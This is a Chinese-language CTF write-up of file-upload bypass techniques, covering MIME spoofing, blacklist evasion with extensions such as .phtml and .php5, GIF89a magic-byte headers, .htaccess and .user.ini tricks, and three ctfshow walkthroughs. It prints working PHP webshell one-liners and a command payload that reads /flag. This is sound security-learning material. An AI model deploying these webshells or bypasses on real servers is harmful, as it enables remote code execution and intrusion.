Web做题笔记之文件上传喵~
[TOC]
嗯,好的,事情是这样的➡_➡,Gloria在做ISCTF2024的时候,发现我这个傻篮子居然不会文件上传….ε(┬┬﹏┬┬)3,所以来补文件上传来了…
我们先来了解一下常规解题步骤
侦察—绕过—利用
侦察与测试(Reconnaissance)
1.首先要判断服务器环境
操作:
观察URL后缀(如.php、.jsp等)或者查看HTTP响应头(Server字段)
●如果是php+Apache➡尝试.haccess攻击
●如果是Nginx➡可能存在解析漏洞
●如果是Windows服务器➡文件名大小写通常不敏感,可以尝试大小写绕过等
2.然后上传一张合法的jpg或者png图片
这里我们需要注意考虑:
1)文件是否被改名?如果改名了,我们需要猜测正确的名字
2)文件存放在哪里了?如果不知道路径,上传了webshell也没用(
绕过防御(Bypass)
1.绕过前端(客户端)检测
现象:
我们选择了一个.php文件,点击上传,还没抓到包就提示只允许上传图片
操作:
1)将文件修改后缀为.jpg或者.png,点击上传
2)在bp中拦截请求,将.jpg改为.php然后放行
原因:
前端代码(JavaScript)是在用户的浏览器里运行。通过抓包,我们可以绕过任何前端限制
2.绕过MIME Type检测
现象:
前端过了,但是服务器返回文件类型不正确
操作:
在bp中,找到Content-Tpye字段,将Content-Type:application/octet-stream(脚本文件的默认类型)修改为Content-Type:image/jpeg或者image/png
原因:
很多后端代码只检查HTTP头部的Content-Type,而这个字段完全可控
3.绕过文件后缀黑名单
现象:服务器提示“不能上传 .php 文件”。这说明它有一个“黑名单”。
操作:尝试 PHP 的其他变体后缀
大小写绕过:shell.pHp
替代后缀:shell.php3、shell.phtml、shell.php5、.phar等
空格/点绕过(Windows特有):shell.php(末尾加空格)、shell.php.
4.绕过文件头检查(Magic Bytes)
现象:后缀和 MIME 都改了,还是被拦截,提示“不是有效的图片文件”。 操作:在你的 Webshell 代码最前面,加上图片的文件头
如GIF89a图片头
payload:
1 | GIF89a |
原因:
服务器可能是使用了getmagesize()等函数去读取文件的前几个字节(幻数),判断它是不是真的图片
5.针对某些特殊的服务器
现象:
黑名单非常严格,几乎封死了所有带ph的后缀,只允许上传.jpg,而且服务器为Apache或者Nginx,而且允许上传配置文件。
操作:(以Apache为例)
先上传一个名为.haccess的文件,内容如下
1 | AddType application/x-httpd-php .jpg |
意思是告诉服务器:把所有的.jpg文件都当作php代码来执行
然后再上传一个写有恶意代码的shell.jpg
1 | @eval($_POST['cmd']); //@用于抑制报错,增加隐蔽性,或者把eval改为assert |
利用(exploitation)
1.寻找webshell路径
上传成功会返回路径,如uploads/768786351.php
2.连接webshell
使用蚁剑或者直接在浏览器上利用
ok,我们来看题➡_➡
1.0 ctfshow-文件上传1
步骤:
1)先试了一遍后缀,发现只有.png才能上传。
题目说前台校检不可靠,这意味着检查文件后缀是不是.png是写在JavaScript里的,运行在浏览器上,服务端可能没有进行严格的检查。
所以我们在本地把马伪装成图片,骗过浏览器的检查,然后在数据包发送给服务器的半路上(使用 Burp Suite),把后缀改回 .php
2)发现上传成功,并且路径是upload/shell.php,直接用蚁剑连接
(这里有个很值得注意的点:如果出现这种报错,他的意思是无法验证叶子签名。简单来说,是因为题目环境使用的是 HTTPS 协议,但是它的 SSL 证书是自签名的或者不被信任的(CTF 题目环境经常这样)。蚁剑出于安全考虑,默认拒绝连接这种“不安全”的 HTTPS 链接,所以报错了)
他的解决办法就是:
●把https://改为http://
●或者因为使用蚁剑本质上也是帮你发包,我们也可以使用bp手动发
1.首先,修改第一行的请求方法和路径:POST /upload/shell.php HTTP/1.1
2.修改Content-Type 头:因为我们要发送 POST 数据,需要告诉服务器格式: Content-Type: application/x-www-form-urlencoded
3.确保Host 头是题目域名的地址
4.在请求体的最后(空一行之后),输入你的 Payload: cmd=system('cat /flag'); (注意:因为你的马是 eval,所以这里要写完整的 PHP 命令。如果是 cat /flag 没结果,可以试试 ls / 查看根目录文件)
5.点击send,查看response
●如果觉得bp发包太麻烦,想直接在浏览器地址里敲命令,可以重新上传一个GET型的木马
shell.php修改为
1 | system($_GET['c']); |
然后抓包,修改后缀,上传成功后,直接在URL中访问:http://题目地址/upload/shell.php?c=cat /flag (这样就不用蚁剑,也不用处理 HTTPS 证书问题了)
但是叭,你有可能碰到什么呢?有的题目会在根目录中放一个定时清理装置,如果你上传的GET型的shell有很大可能是得不到flag的。。。(别问Gloria是怎么知道的,问就是吃过一次亏了QAQ
3)这里用蚁剑成功连接,我们挨个查找目录就可以,得到flag,哦耶[]( ̄▽ ̄)*
2.0 ctfshow-文件上传2
步骤:
他说后端校检,指的应该是服务端校检,这道题跟上道题很像,只不过一个后端一个前端,这道题更多地考察MIME绕过,使用上一题的马完全可以。所以不细说步骤了
就是一个抓包➡修改filename➡send➡蚁剑连接查找flag
最后是在html中找到的flag,flag不一定在根目录
3.0 ctfshow-文件上传3
步骤:
1)还是考察的后端校检,我最初还是上传的第一道题目的小马,然后send之后发现不对,所以把.php后缀改为了.pHp(使用了大小写绕过),我发现成功了,然后使用蚁剑连接的时候,我发现出现了报错
这个报错是什么意思呢,Nginx 的配置文件里,通常规定只有后缀名为 .php (全小写)的文件,才会被发送给 PHP 解释器去执行。
对于 .pHp,Nginx 把它当作了一个普通的静态文本文件(就像 .txt 或 .jpg 一样)。
静态文件是不允许被 POST (蚁剑连接时使用的方法) 的,所以服务器给你返回了 405 错误。即使你用浏览器直接访问,看到的可能也是源码,而不是执行后的结果。
总结一下:大小写绕过 (.pHp) 在 Linux/Nginx 环境下通常是“死路”。虽然能上传,但无法执行。
2)所以,我有尝试了.phtml、.php5以及.php3这三个后缀(因为很多服务器配置为了兼容性,会允许以下后缀被当作 PHP 执行)
嗯对,然后,啊对,就是你,还是这个红色的报错(╯▔皿▔)╯
我跟你爆了
3)所以,我们换条思路根据Nginx/Apache + PHP (CGI/FastCGI模式)服务器的特性,我们选择上传.user.ini文件加上shell.png的处理方式
在 Nginx + PHP 的环境里,有一个强大的配置文件叫 .user.ini。 它的作用是:可以在不修改服务器核心配置的情况下,改变当前目录下的 PHP 运行规则
我们需要利用 auto_prepend_file 这个设置,它的意思是:“在执行当前目录下的任何 PHP 文件之前,先把指定的文件包含进来执行。”
因为前端卡的特别死,只允许上传.png。所以我们先上传.png再抓包修改为.user.ini,再send回去。
(这里要注意一点,有些服务器解析 .ini 文件时,要求配置项后面必须有一个换行符。如果 shell.png 后面紧贴着 boundary,PHP 可能会把它解析成 shell.png------webkitboundary,导致找不到文件,所以最好多按一个回车)
然后再上传shell.png
4)然后该用蚁剑连接了,连接的时候的URL应填写为http://题目地址/upload(因为user.ini是将当前目录下的shell.png当作.php来执行)
测试链接,成功,在html下面找到了flag
Leave a comment